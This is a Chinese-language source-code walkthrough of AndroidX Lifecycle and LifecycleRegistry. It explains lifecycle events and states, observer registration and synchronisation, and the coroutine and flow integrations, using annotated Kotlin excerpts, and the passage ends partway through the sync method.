事件枚举(Event

Event 枚举定义了与生命周期状态变化相关的事件,这些事件标志着状态之间的转换:

  • ON_CREATE:对应组件的 onCreate 事件。
  • ON_START:对应组件的 onStart 事件。
  • ON_RESUME:对应组件的 onResume 事件。
  • ON_PAUSE:对应组件的 onPause 事件。
  • ON_STOP:对应组件的 onStop 事件。
  • ON_DESTROY:对应组件的 onDestroy 事件。
  • ON_ANY:一个特殊的事件,可用于匹配所有事件。
1.1.2 观察者机制

Lifecycle 类提供了 addObserver 和 removeObserver 方法,允许开发者注册和移除 LifecycleObserver。当组件的生命周期状态发生变化时,注册的观察者会收到相应的通知。

@MainThread
public abstract fun addObserver(observer: LifecycleObserver)

@MainThread
public abstract fun removeObserver(observer: LifecycleObserver)
1.1.3状态获取和状态流
//当前状态
public abstract val currentState: State
//状态流
public open val currentStateFlow: StateFlow<Lifecycle.State>
    get() {
        val mutableStateFlow = MutableStateFlow(currentState)
        LifecycleEventObserver { _, event ->
            mutableStateFlow.value = event.targetState
        }.also { addObserver(it) }
        return mutableStateFlow.asStateFlow()
    }

通过 currentState 属性,开发者可以获取 Lifecycle 的当前状态,从而根据状态进行相应的逻辑处理。

Lifecycle 提供了 currentStateFlow 属性,它返回一个 StateFlow,开发者可以使用这个 StateFlow 来观察 Lifecycle 状态的变化。

1.1.4 集成协程

Lifecycle 与协程集成,提供了 coroutineScope 属性,它返回一个与 Lifecycle 绑定的 LifecycleCoroutineScope。当 Lifecycle 进入 DESTROYED 状态时,这个协程作用域会自动取消其中的所有协程,避免内存泄漏。

//协程对象
public val Lifecycle.coroutineScope: LifecycleCoroutineScope
    get() {
        while (true) {
            val existing = internalScopeRef.get() as LifecycleCoroutineScopeImpl?
            if (existing != null) {
                return existing
            }
            //运行到主线程 并且与实现类的生命周期做关联 销毁的时候做销毁操作
            val newScope = LifecycleCoroutineScopeImpl(
                this,
                SupervisorJob() + Dispatchers.Main.immediate
            )
            if (internalScopeRef.compareAndSet(null, newScope)) {
                newScope.register()
                return newScope
            }
        }
    }

1.1.5 事件流

Lifecycle 还提供了 eventFlow 属性,它返回一个 Flow,用于观察 Lifecycle 分发的事件。开发者可以通过订阅这个 Flow 来响应生命周期事件。

public val Lifecycle.eventFlow: Flow<Lifecycle.Event>
    get() = callbackFlow {
        val observer = LifecycleEventObserver { _, event ->
            trySend(event)
        }.also { addObserver(it) }

        awaitClose { removeObserver(observer) }
    }.flowOn(Dispatchers.Main.immediate)
1.2 Lifecycle.class 源码分析
package androidx.lifecycle

import androidx.annotation.MainThread
import androidx.annotation.RestrictTo
import kotlin.coroutines.CoroutineContext
import kotlin.jvm.JvmStatic
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.cancel
import kotlinx.coroutines.channels.awaitClose
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.coroutines.flow.asStateFlow
import kotlinx.coroutines.flow.callbackFlow
import kotlinx.coroutines.flow.flowOn
import kotlinx.coroutines.launch

/**
 * 定义一个具有 Android 生命周期的对象。
 * [Fragment][androidx.fragment.app.Fragment] 和 [FragmentActivity][androidx.fragment.app.FragmentActivity] 类实现了
 * [LifecycleOwner] 接口,该接口提供了 [getLifecycle][LifecycleOwner.getLifecycle] 方法来访问生命周期。
 * 你也可以在自己的类中实现 [LifecycleOwner] 接口。
 *
 * 此类中的 [Event.ON_CREATE]、[Event.ON_START]、[Event.ON_RESUME] 事件在 [LifecycleOwner] 的相关方法返回 **之后** 分发。
 * 此类中的 [Event.ON_PAUSE]、[Event.ON_STOP]、[Event.ON_DESTROY] 事件在 [LifecycleOwner] 的相关方法被调用 **之前** 分发。
 * 例如,[Event.ON_START] 将在 [onStart][android.app.Activity.onStart] 返回后分发,[Event.ON_STOP] 将在 [onStop][android.app.Activity.onStop] 被调用前分发。
 * 这为你提供了关于所有者所处状态的一定保证。
 *
 * 若要观察生命周期事件,请调用 [.addObserver] 方法,并传入一个实现了 [DefaultLifecycleObserver] 或 [LifecycleEventObserver] 的对象。
 */
public abstract class Lifecycle {
    /**
     * Lifecycle 的协程扩展将 CoroutineScope 存储在此字段中。
     * 此属性受限制,仅供 lifecycle-common-ktx 库使用。
     */
    @RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)
    @get:RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)
    @set:RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)
    public var internalScopeRef: AtomicReference<Any?> = AtomicReference(null)

    /**
     * 添加一个 LifecycleObserver,当 LifecycleOwner 的状态改变时,该观察者将收到通知。
     *
     * 给定的观察者将被更新到 LifecycleOwner 的当前状态。例如,如果 LifecycleOwner 处于 [State.STARTED] 状态,
     * 给定的观察者将收到 [Event.ON_CREATE]、[Event.ON_START] 事件。
     *
     * @param observer 要通知的观察者
     */
    @MainThread
    public abstract fun addObserver(observer: LifecycleObserver)

    /**
     * 从观察者列表中移除给定的观察者。
     *
     * 如果在状态更改分发过程中调用此方法:
     *  - 如果给定的观察者尚未收到该事件,则不会收到。
     *  - 如果给定的观察者有多个方法观察当前正在分发的事件,且至少有一个方法已收到该事件,
     *    则所有方法都会收到该事件,移除操作将在之后进行。
     *
     * @param observer 要移除的观察者
     */
    @MainThread
    public abstract fun removeObserver(observer: LifecycleObserver)

    /**
     * 返回 Lifecycle 的当前状态。
     *
     * @return Lifecycle 的当前状态
     */
    @get:MainThread
    public abstract val currentState: State

    /**
     * 返回一个 [StateFlow],其中 [StateFlow.value] 表示此 Lifecycle 的当前 [State]。
     *
     * @return 一个 [StateFlow],其值表示此 Lifecycle 的当前状态
     */
    public open val currentStateFlow: StateFlow<Lifecycle.State>
        get() {
            // 创建一个可变状态流,初始值为当前生命周期状态
            val mutableStateFlow = MutableStateFlow(currentState)
            // 创建一个 LifecycleEventObserver,用于监听生命周期事件并更新状态流的值
            LifecycleEventObserver { _, event ->
                mutableStateFlow.value = event.targetState
            }.also { addObserver(it) }
            // 将可变状态流转换为只读状态流并返回
            return mutableStateFlow.asStateFlow()
        }

    /**
     * 生命周期事件的枚举类。
     */
    public enum class Event {
        /**
         * [LifecycleOwner] 的 onCreate 事件常量。
         */
        ON_CREATE,

        /**
         * [LifecycleOwner] 的 onStart 事件常量。
         */
        ON_START,

        /**
         * [LifecycleOwner] 的 onResume 事件常量。
         */
        ON_RESUME,

        /**
         * [LifecycleOwner] 的 onPause 事件常量。
         */
        ON_PAUSE,

        /**
         * [LifecycleOwner] 的 onStop 事件常量。
         */
        ON_STOP,

        /**
         * [LifecycleOwner] 的 onDestroy 事件常量。
         */
        ON_DESTROY,

        /**
         * 可用于匹配所有事件的 [Event] 常量。
         */
        ON_ANY;

        /**
         * 返回刚刚报告此 [Lifecycle.Event] 的 [Lifecycle] 的新 [Lifecycle.State]。
         *
         * 如果在 [.ON_ANY] 上调用此方法,将抛出 [IllegalArgumentException],因为它是 [OnLifecycleEvent] 使用的特殊值,不是真正的生命周期事件。
         *
         * @return 此事件将导致的状态
         */
        public val targetState: State
            get() {
                when (this) {
                    ON_CREATE, ON_STOP -> return State.CREATED
                    ON_START, ON_PAUSE -> return State.STARTED
                    ON_RESUME -> return State.RESUMED
                    ON_DESTROY -> return State.DESTROYED
                    ON_ANY -> {}
                }
                throw IllegalArgumentException("$this has no target state")
            }

        public companion object {
            /**
             * 返回 [Lifecycle] 从指定的 [Lifecycle.State] 过渡到较低状态时将报告的 [Lifecycle.Event],
             * 如果没有有效的事件可以从给定状态过渡到较低状态,则返回 `null`。
             *
             * @param state 要过渡下来的较高状态
             * @return 从该状态向下过渡生命周期阶段的事件
             */
            @JvmStatic
            public fun downFrom(state: State): Event? {
                return when (state) {
                    State.CREATED -> ON_DESTROY
                    State.STARTED -> ON_STOP
                    State.RESUMED -> ON_PAUSE
                    else -> null
                }
            }

            /**
             * 返回 [Lifecycle] 从较高状态进入指定的 [Lifecycle.State] 时将报告的 [Lifecycle.Event],
             * 如果没有有效的事件可以过渡到给定状态,则返回 `null`。
             *
             * @param state 要过渡到的较低状态
             * @return 向下过渡生命周期阶段到该状态的事件
             */
            @JvmStatic
            public fun downTo(state: State): Event? {
                return when (state) {
                    State.DESTROYED -> ON_DESTROY
                    State.CREATED -> ON_STOP
                    State.STARTED -> ON_PAUSE
                    else -> null
                }
            }

            /**
             * 返回 [Lifecycle] 从指定的 [Lifecycle.State] 过渡到较高状态时将报告的 [Lifecycle.Event],
             * 如果没有有效的事件可以从给定状态过渡到较高状态,则返回 `null`。
             *
             * @param state 要过渡上去的较低状态
             * @return 从该状态向上过渡生命周期阶段的事件
             */
            @JvmStatic
            public fun upFrom(state: State): Event? {
                return when (state) {
                    State.INITIALIZED -> ON_CREATE
                    State.CREATED -> ON_START
                    State.STARTED -> ON_RESUME
                    else -> null
                }
            }

            /**
             * 返回 [Lifecycle] 从较低状态进入指定的 [Lifecycle.State] 时将报告的 [Lifecycle.Event],
             * 如果没有有效的事件可以过渡到给定状态,则返回 `null`。
             *
             * @param state 要过渡到的较高状态
             * @return 向上过渡生命周期阶段到该状态的事件
             */
            @JvmStatic
            public fun upTo(state: State): Event? {
                return when (state) {
                    State.CREATED -> ON_CREATE
                    State.STARTED -> ON_START
                    State.RESUMED -> ON_RESUME
                    else -> null
                }
            }
        }
    }

    /**
     * 生命周期状态的枚举类。可以将状态视为图中的节点,[Event] 视为这些节点之间的边。
     */
    public enum class State {
        /**
         * LifecycleOwner 的已销毁状态。在此事件之后,此 Lifecycle 将不再分发任何事件。
         * 例如,对于 [android.app.Activity],在 Activity 的 [onDestroy][android.app.Activity.onDestroy] 调用 **之前** 达到此状态。
         */
        DESTROYED,

        /**
         * LifecycleOwner 的已初始化状态。对于 [android.app.Activity],在其构造完成但尚未收到
         * [onCreate][android.app.Activity.onCreate] 调用时处于此状态。
         */
        INITIALIZED,

        /**
         * LifecycleOwner 的已创建状态。对于 [android.app.Activity],在以下两种情况下达到此状态:
         *  - 在 [onCreate][android.app.Activity.onCreate] 调用之后;
         *  - 在 [onStop][android.app.Activity.onStop] 调用 **之前**。
         */
        CREATED,

        /**
         * LifecycleOwner 的已启动状态。对于 [android.app.Activity],在以下两种情况下达到此状态:
         *  - 在 [onStart][android.app.Activity.onStart] 调用之后;
         *  - 在 [onPause][android.app.Activity.onPause] 调用 **之前**。
         */
        STARTED,

        /**
         * LifecycleOwner 的已恢复状态。对于 [android.app.Activity],在 [onResume][android.app.Activity.onResume] 调用之后达到此状态。
         */
        RESUMED;

        /**
         * 比较此状态是否大于或等于给定的 `state`。
         *
         * @param state 要比较的状态
         * @return 如果此状态大于或等于给定的 `state`,则返回 true
         */
        public fun isAtLeast(state: State): Boolean {
            return compareTo(state) >= 0
        }
    }
}

@RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)
public expect class AtomicReference<V>(value: V) {
    public fun get(): V
    public fun compareAndSet(expect: V, newValue: V): Boolean
}

/**
 * 与该 [Lifecycle] 绑定的 [CoroutineScope]。
 *
 * 当 [Lifecycle] 被销毁时,此作用域将被取消。
 *
 * 此作用域绑定到 [Dispatchers.Main.immediate][kotlinx.coroutines.MainCoroutineDispatcher.immediate]
 */
public val Lifecycle.coroutineScope: LifecycleCoroutineScope
    get() {
        while (true) {
            // 尝试从 internalScopeRef 中获取已存在的 LifecycleCoroutineScopeImpl 实例
            val existing = internalScopeRef.get() as LifecycleCoroutineScopeImpl?
            if (existing != null) {
                return existing
            }
            // 如果不存在,则创建一个新的 LifecycleCoroutineScopeImpl 实例
            val newScope = LifecycleCoroutineScopeImpl(
                this,
                SupervisorJob() + Dispatchers.Main.immediate
            )
            // 使用 CAS 操作尝试将新实例设置到 internalScopeRef 中
            if (internalScopeRef.compareAndSet(null, newScope)) {
                newScope.register()
                return newScope
            }
        }
    }

/**
 * 与 [Lifecycle] 和 [Dispatchers.Main.immediate][kotlinx.coroutines.MainCoroutineDispatcher.immediate] 绑定的 [CoroutineScope]。
 *
 * 当 [Lifecycle] 被销毁时,此作用域将被取消。
 */
public expect abstract class LifecycleCoroutineScope internal constructor() : CoroutineScope {
    internal abstract val lifecycle: Lifecycle
}

internal class LifecycleCoroutineScopeImpl(
    override val lifecycle: Lifecycle,
    override val coroutineContext: CoroutineContext
) : LifecycleCoroutineScope(), LifecycleEventObserver {
    init {
        // 如果在非主线程初始化,在返回作用域之前进行最佳努力的检查。
        // 这不是同步检查,但如果开发者在非主线程调度器上启动协程,他们无论如何也不能 100% 确定。
        if (lifecycle.currentState == Lifecycle.State.DESTROYED) {
            coroutineContext.cancel()
        }
    }

    fun register() {
        // 在主线程立即调度器上启动协程
        launch(Dispatchers.Main.immediate) {
            if (lifecycle.currentState >= Lifecycle.State.INITIALIZED) {
                // 如果生命周期状态大于等于 INITIALIZED,则添加当前实例作为生命周期观察者
                lifecycle.addObserver(this@LifecycleCoroutineScopeImpl)
            } else {
                // 否则取消协程上下文
                coroutineContext.cancel()
            }
        }
    }

    override fun onStateChanged(source: LifecycleOwner, event: Lifecycle.Event) {
        if (lifecycle.currentState <= Lifecycle.State.DESTROYED) {
            // 如果生命周期状态小于等于 DESTROYED,则移除当前实例作为观察者并取消协程上下文
            lifecycle.removeObserver(this)
            coroutineContext.cancel()
        }
    }
}

/**
 * 创建一个 [Flow],其中包含此 [Lifecycle] 分发的 [Lifecycle.Event]。
 */
public val Lifecycle.eventFlow: Flow<Lifecycle.Event>
    get() = callbackFlow {
        // 创建一个 LifecycleEventObserver,用于将生命周期事件发送到流中
        val observer = LifecycleEventObserver { _, event ->
            trySend(event)
        }.also { addObserver(it) }

        // 当流关闭时,移除观察者
        awaitClose { removeObserver(observer) }
    }.flowOn(Dispatchers.Main.immediate)

1.3 核心方法和属性总结
  1. addObserver(observer: LifecycleObserver) :添加一个生命周期观察者,当生命周期状态改变时通知该观察者。
  2. removeObserver(observer: LifecycleObserver) :移除指定的生命周期观察者。
  3. currentState: State:获取当前的生命周期状态。
  4. currentStateFlow: StateFlow<Lifecycle.State> :返回一个 StateFlow,用于观察生命周期状态的变化。
  5. coroutineScope: LifecycleCoroutineScope:获取与该生命周期绑定的协程作用域,生命周期销毁时协程作用域会被取消。
  6. eventFlow: Flow<Lifecycle.Event> :返回一个 Flow,用于观察生命周期事件的分发。
  7. Event 枚举:定义了生命周期事件的常量,如 ON_CREATEON_START 等。
  8. State 枚举:定义了生命周期的状态,如 DESTROYEDINITIALIZED 等。

注意

LifecycleCoroutineScopeImpl 是协程的实现类 关联了生命周期状态 Lifecycle.State.INITIALIZED 状态的时候添加了关注 Lifecycle.State.DESTROYED状态的时候取消了协程

internal class LifecycleCoroutineScopeImpl(
    override val lifecycle: Lifecycle,
    override val coroutineContext: CoroutineContext
) : LifecycleCoroutineScope(), LifecycleEventObserver {
    init {
        // 如果在非主线程初始化,在返回作用域之前进行最佳努力的检查。
        // 这不是同步检查,但如果开发者在非主线程调度器上启动协程,他们无论如何也不能 100% 确定。
        if (lifecycle.currentState == Lifecycle.State.DESTROYED) {
            coroutineContext.cancel()
        }
    }

    fun register() {
        // 在主线程立即调度器上启动协程
        launch(Dispatchers.Main.immediate) {
            if (lifecycle.currentState >= Lifecycle.State.INITIALIZED) {
                // 如果生命周期状态大于等于 INITIALIZED,则添加当前实例作为生命周期观察者
                lifecycle.addObserver(this@LifecycleCoroutineScopeImpl)
            } else {
                // 否则取消协程上下文
                coroutineContext.cancel()
            }
        }
    }

    override fun onStateChanged(source: LifecycleOwner, event: Lifecycle.Event) {
        if (lifecycle.currentState <= Lifecycle.State.DESTROYED) {
            // 如果生命周期状态小于等于 DESTROYED,则移除当前实例作为观察者并取消协程上下文
            lifecycle.removeObserver(this)
            coroutineContext.cancel()
        }
    }
}

2.LifecycleRegistry(生命周期注册表)

2.1 LifecycleRegistry做了什么

LifecycleRegistry 是 androidx.lifecycle 包中 Lifecycle 接口的具体实现类,主要负责管理 LifecycleOwner(如 ActivityFragment)的生命周期状态,并将这些状态变化通知给注册的 LifecycleObserver

LifecycleRegistry 是Lifecycle 的具体实现.实现了Lifecycle的具体功能

2.2 核心功能

2.2.1 生命周期状态管理
moveToState(next: State)
  • 功能:该方法用于将 Lifecycle 的状态移动到指定的 next 状态。在移动状态之前,会检查状态转换的合法性,避免从 INITIALIZED 直接到 DESTROYED 这种无效转换。如果在处理事件或添加观察者的过程中调用此方法,会标记有新事件发生,等待上层处理。状态移动完成后,会调用 sync 方法同步观察者的状态。当状态变为 DESTROYED 时,会清空观察者列表。
  • 代码示例
private fun moveToState(next: State) {
    if (state == next) {
        return
    }
    check(!(state == State.INITIALIZED && next == State.DESTROYED)) {
        "State must be at least CREATED to move to $next, but was $state in component " +
                "${lifecycleOwner.get()}"
    }
    state = next
    if (handlingEvent || addingObserverCounter != 0) {
        newEventOccurred = true
        return
    }
    handlingEvent = true
    sync()
    handlingEvent = false
    if (state == State.DESTROYED) {
        observerMap = FastSafeIterableMap()
    }
}
currentState 属性
  • 功能:这是一个可读写的属性,用于获取和设置 Lifecycle 的当前状态。获取时直接返回内部存储的 state 变量,设置时会调用 moveToState 方法来更新状态,并确保操作在主线程执行(如果需要)。
  • 代码示例
actual override var currentState: State
    get() = state
    set(state) {
        enforceMainThreadIfNeeded("setCurrentState")
        moveToState(state)
    }
2.2.2 观察者管理
addObserver(observer: LifecycleObserver)
  • 功能:向 LifecycleRegistry 中添加一个 LifecycleObserver。添加前会检查是否在主线程执行(如果需要),然后根据当前 Lifecycle 的状态为观察者设置初始状态。接着计算观察者的目标状态,并将其状态逐步更新到目标状态,期间会向观察者分发相应的生命周期事件。最后,如果不是重入状态,会调用 sync 方法同步所有观察者的状态。
  • 代码示例
override fun addObserver(observer: LifecycleObserver) {
    enforceMainThreadIfNeeded("addObserver")
    val initialState = if (state == State.DESTROYED) State.DESTROYED else State.INITIALIZED
    val statefulObserver = ObserverWithState(observer, initialState)
    val previous = observerMap.putIfAbsent(observer, statefulObserver)
    if (previous != null) {
        return
    }
    val lifecycleOwner = lifecycleOwner.get()
        ?: return
    val isReentrance = addingObserverCounter != 0 || handlingEvent
    var targetState = calculateTargetState(observer)
    addingObserverCounter++
    while (statefulObserver.state < targetState && observerMap.contains(observer)) {
        pushParentState(statefulObserver.state)
        val event = Event.upFrom(statefulObserver.state)
            ?: throw IllegalStateException("no event up from ${statefulObserver.state}")
        statefulObserver.dispatchEvent(lifecycleOwner, event)
        popParentState()
        targetState = calculateTargetState(observer)
    }
    if (!isReentrance) {
        sync()
    }
    addingObserverCounter--
}
removeObserver(observer: LifecycleObserver)
  • 功能:从 LifecycleRegistry 中移除指定的 LifecycleObserver。移除操作会检查是否在主线程执行(如果需要),并且不会发送销毁事件给被移除的观察者,以避免一些复杂的清理逻辑。
  • 代码示例
override fun removeObserver(observer: LifecycleObserver) {
    enforceMainThreadIfNeeded("removeObserver")
    observerMap.remove(observer
2.2.3 LifecycleRegistry.class 源码分析
package androidx.lifecycle

import androidx.annotation.MainThread
import androidx.annotation.VisibleForTesting
import androidx.arch.core.internal.FastSafeIterableMap
import java.lang.ref.WeakReference
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.coroutines.flow.asStateFlow

/**
 * [Lifecycle] 的一个实现类,它可以处理多个观察者。
 *
 * Fragments 和支持库中的 Activities 会使用这个类。如果你有自定义的 LifecycleOwner,也可以直接使用它。
 */
public actual open class LifecycleRegistry private constructor(
    //维护了一个 LifecycleOwner
    provider: LifecycleOwner,
    // 是否强制要求方法在主线程调用
    private val enforceMainThread: Boolean
) : Lifecycle() {
    /**
     * 自定义的列表,用于保存观察者,并且能够在遍历过程中处理添加和移除操作。
     *
     * 不变性规则:在任意时刻,对于观察者 observer1 和 observer2:
     * 如果 observer1 的添加顺序早于 observer2,那么 observer1 的状态不低于 observer2 的状态。
     */
    private var observerMap = FastSafeIterableMap<LifecycleObserver, ObserverWithState>()

    /**
     * 当前的生命周期状态
     */
    private var state: State = State.INITIALIZED

    /**
     * 持有此 Lifecycle 的 LifecycleOwner。
     * 只保留对 LifecycleOwner 的弱引用,这样即使有人泄漏了 Lifecycle,也不会导致整个 Fragment 或 Activity 泄漏。
     * 不过,泄漏 Lifecycle 对象也不是个好主意,因为它持有所有其他监听器的强引用,会导致这些监听器也被泄漏。
     */
    private val lifecycleOwner: WeakReference<LifecycleOwner>

    // 构造函数,默认强制要求方法在主线程调用
    public actual constructor(provider: LifecycleOwner) : this(provider, true)

    init {
        // 初始化时保存对 LifecycleOwner 的弱引用
        lifecycleOwner = WeakReference(provider)
    }

    /**
     * 将 Lifecycle 的状态移动到指定状态,并向观察者分发必要的事件。
     *
     * @param state 新的状态
     */
    @MainThread
    @Deprecated("Override [currentState].") // 已弃用,建议重写 [currentState]
    public open fun markState(state: State) {
        // 若需要,强制执行主线程检查
        enforceMainThreadIfNeeded("markState")
        // 更新当前状态
        currentState = state
    }

    // 重写 Lifecycle 中的 currentState 属性
    actual override var currentState: State
        get() = state // 获取当前状态
        /**
         * 将 Lifecycle 的状态移动到指定状态,并向观察者分发必要的事件。
         *
         * @param state 新的状态
         */
        set(state) {
            // 若需要,强制执行主线程检查
            enforceMainThreadIfNeeded("setCurrentState")
            // 移动到新状态
            moveToState(state)
        }

    // 用于存储当前生命周期状态的可变状态流
    private val _currentStateFlow: MutableStateFlow<State> = MutableStateFlow(State.INITIALIZED)
    // 将可变状态流转换为只读状态流暴露出去
    override val currentStateFlow: StateFlow<State>
        get() = _currentStateFlow.asStateFlow()

    /**
     * 设置当前状态并通知观察者。
     *
     * 注意,如果 `currentState` 与上次调用此方法时的状态相同,调用此方法将没有效果。
     *
     * @param event 接收到的生命周期事件
     */
    public actual open fun handleLifecycleEvent(event: Event) {
        // 若需要,强制执行主线程检查
        enforceMainThreadIfNeeded("handleLifecycleEvent")
        // 移动到事件对应的目标状态
        moveToState(event.targetState)
    }

    /**
     * 移动到新的生命周期状态
     * @param next 目标状态
     */
    private fun moveToState(next: State) {
        // 如果当前状态和目标状态相同,直接返回
        if (state == next) {
            return
        }
        // 检查是否是无效的状态转换(从 INITIALIZED 直接到 DESTROYED)
        check(!(state == State.INITIALIZED && next == State.DESTROYED)) {
            "State must be at least CREATED to move to $next, but was $state in component " +
                    "${lifecycleOwner.get()}"
        }
        // 更新当前状态
        state = next
        // 如果正在处理事件或者正在添加观察者,标记有新事件发生,等待上层处理
        if (handlingEvent || addingObserverCounter != 0) {
            newEventOccurred = true
            return
        }
        // 标记开始处理事件
        handlingEvent = true
        // 同步观察者状态
        sync()
        // 标记事件处理结束
        handlingEvent = false
        // 如果状态变为 DESTROYED,清空观察者列表
        if (state == State.DESTROYED) {
            observerMap = FastSafeIterableMap()
        }
    }

    /**
     * 判断是否所有观察者的状态都与 Lifecycle 的当前状态同步
     */
    private val isSynced: Boolean
        get() {
            // 如果没有观察者,认为是同步的
            if (observerMap.size() == 0) {
                return true
            }
            // 获取最早添加的观察者的状态
            val eldestObserverState = observerMap.eldest()!!.value.state
            // 获取最晚添加的观察者的状态
            val newestObserverState = observerMap.newest()!!.value.state
            // 当最早和最晚添加的观察者状态相同,且都与当前 Lifecycle 状态相同时,认为是同步的
            return eldestObserverState == newestObserverState && state == newestObserverState
        }

    /**
     * 计算某个观察者应该达到的目标状态
     * @param observer 要计算目标状态的观察者
     * @return 目标状态
     */
    private fun calculateTargetState(observer: LifecycleObserver): State {
        // 获取该观察者在列表中之后的第一个元素
        val map = observerMap.ceil(observer)
        // 获取该元素对应的观察者状态
        val siblingState = map?.value?.state
        // 获取父状态,如果有记录的话
        val parentState =
            if (parentStates.isNotEmpty()) parentStates[parentStates.size - 1] else null
        // 返回当前状态、兄弟状态和父状态中的最小状态
        return min(min(state, siblingState), parentState)
    }

    /**
     * 添加一个 LifecycleObserver,当 LifecycleOwner 的状态改变时,该观察者将被通知。
     *
     * 给定的观察者将被更新到 LifecycleOwner 的当前状态。例如,如果 LifecycleOwner 处于 [Lifecycle.State.STARTED] 状态,
     * 给定的观察者将收到 [Lifecycle.Event.ON_CREATE]、[Lifecycle.Event.ON_START] 事件。
     *
     * @param observer 要添加的观察者
     * @throws IllegalStateException 如果从观察者的初始状态无法向上找到对应的事件
     */
    override fun addObserver(observer: LifecycleObserver) {
        // 若需要,强制执行主线程检查
        enforceMainThreadIfNeeded("addObserver")
        // 根据当前 Lifecycle 的状态确定观察者的初始状态
        val initialState = if (state == State.DESTROYED) State.DESTROYED else State.INITIALIZED
        // 创建一个带有状态的观察者实例
        val statefulObserver = ObserverWithState(observer, initialState)
        // 将观察者添加到列表中,如果已经存在则返回之前的实例
        val previous = observerMap.putIfAbsent(observer, statefulObserver)
        if (previous != null) {
            return
        }
        // 获取 LifecycleOwner 实例
        val lifecycleOwner = lifecycleOwner.get()
            ?: // 如果 LifecycleOwner 已经被垃圾回收,快速返回
            return
        // 判断是否处于重入状态(正在添加观察者或处理事件)
        val isReentrance = addingObserverCounter != 0 || handlingEvent
        // 计算观察者的目标状态
        var targetState = calculateTargetState(observer)
        // 增加添加观察者计数器
        addingObserverCounter++
        // 当观察者的当前状态小于目标状态,且观察者仍在列表中时
        while (statefulObserver.state < targetState && observerMap.contains(observer)) {
            // 记录当前状态作为父状态
            pushParentState(statefulObserver.state)
            // 获取从当前状态向上的事件
            val event = Event.upFrom(statefulObserver.state)
                ?: throw IllegalStateException("no event up from ${statefulObserver.state}")
            // 向观察者分发事件
            statefulObserver.dispatchEvent(lifecycleOwner, event)
            // 移除记录的父状态
            popParentState()
            // 重新计算目标状态,因为状态可能在分发事件过程中改变
            targetState = calculateTargetState(observer)
        }
        // 如果不是重入状态,调用 sync 方法同步状态
        if (!isReentrance) {
            sync()
        }
        // 减少添加观察者计数器
        addingObserverCounter--
    }

    /**
     * 移除记录的父状态
     */
    private fun popParentState() {
        parentStates.removeAt(parentStates.size - 1)
    }

    /**
     * 记录当前状态作为父状态
     * @param state 要记录的状态
     */
    private fun pushParentState(state: State) {
        parentStates.add(state)
    }

    /**
     * 移除一个 LifecycleObserver。
     *
     * 这里有意识地决定不发送销毁事件,与 addObserver 方法不同。原因如下:
     * 1. 这些销毁事件实际上还没有发生。与 addObserver 中的事件不同,那些事件是实际发生过但较早的。
     * 2. 有些情况下,removeObserver 是由于某种致命事件而调用的。如果 removeObserver 方法发送销毁事件,
     *    那么清理例程会变得更加繁琐。例如,你的 LifecycleObserver 监听网络连接,
     *    在通常的 OnStop 方法中,你会向服务器报告会话已结束并关闭连接。
     *    现在假设你失去了网络连接,因此移除了这个观察者。如果在 removeObserver 中收到销毁事件,
     *    你需要在 onStop 方法中添加一个特殊情况,检查网络连接是否已断开,并且不应该尝试向服务器报告任何内容。
     *
     * @param observer 要移除的观察者
     */
    override fun removeObserver(observer: LifecycleObserver) {
        // 若需要,强制执行主线程检查
        enforceMainThreadIfNeeded("removeObserver")
        // 从观察者列表中移除该观察者
        observerMap.remove(observer)
    }

    /**
     * 获取观察者的数量
     * @return 观察者的数量
     */
    public actual open val observerCount: Int
        get() {
            // 若需要,强制执行主线程检查
            enforceMainThreadIfNeeded("getObserverCount")
            // 返回观察者列表的大小
            return observerMap.size()
        }

    /**
     * 正向遍历观察者列表,将状态小于 Lifecycle 当前状态的观察者状态更新
     * @param lifecycleOwner 当前的 LifecycleOwner
     */
    private fun forwardPass(lifecycleOwner: LifecycleOwner) {
        @Suppress()
        // 获取支持添加操作的迭代器
        val ascendingIterator: Iterator<Map.Entry<LifecycleObserver, ObserverWithState>> =
            observerMap.iteratorWithAdditions()
        while (ascendingIterator.hasNext() && !newEventOccurred) {
            val (key, observer) = ascendingIterator.next()
            // 当观察者状态小于 Lifecycle 当前状态,且没有新事件发生,且观察者仍在列表中时
            while (observer.state < state && !newEventOccurred && observerMap.contains(key)) {
                // 记录当前状态作为父状态
                pushParentState(observer.state)
                // 获取从当前状态向上的事件
                val event = Event.upFrom(observer.state)
                    ?: throw IllegalStateException("no event up from ${observer.state}")
                // 向观察者分发事件
                observer.dispatchEvent(lifecycleOwner, event)
                // 移除记录的父状态
                popParentState()
            }
        }
    }

    /**
     * 反向遍历观察者列表,将状态大于 Lifecycle 当前状态的观察者状态更新
     * @param lifecycleOwner 当前的 LifecycleOwner
     */
    private fun backwardPass(lifecycleOwner: LifecycleOwner) {
        // 获取反向迭代器
        val descendingIterator = observerMap.descendingIterator()
        while (descendingIterator.hasNext() && !newEventOccurred) {
            val (key, observer) = descendingIterator.next()
            // 当观察者状态大于 Lifecycle 当前状态,且没有新事件发生,且观察者仍在列表中时
            while (observer.state > state && !newEventOccurred && observerMap.contains(key)) {
                // 获取从当前状态向下的事件
                val event = Event.downFrom(observer.state)
                    ?: throw IllegalStateException("no event down from ${observer.state}")
                // 记录事件目标状态作为父状态
                pushParentState(event.targetState)
                // 向观察者分发事件
                observer.dispatchEvent(lifecycleOwner, event)
                // 移除记录的父状态
                popParentState()
            }
        }
    }

    /**
     * 同步观察者的状态,确保所有观察者的状态与 Lifecycle 的当前状态一致
     * 该方法只在栈顶调用(非重入情况),因此不需要考虑父状态
     */
    private fun sync() {
        // 获取 LifecycleOwner 实例
        val lifecycleOwner = lifecycleOwner.get()
            ?: throw IllegalStateException(
                "LifecycleOwner of this LifecycleRegistry is already " +
                        "garbage collected. It is too late to change lifecycle state."
            )
        // 当观察者状态与 Lifecycle 状态不同步时
        while (!isSynced) {
            // 标记没有新事件发生
            newEventOccurred = false
            // 如果 Lifecycle 当前状态小于最早添加的观察者的状态
            if (state < observerMap.eldest()!!.value.state) {
                // 调用 backwardPass 方法反向更新观察者状态
                backwardPass(lifecycleOwner)
            }
            // 获取最晚添加的观察者
            val newest = observerMap.newest()
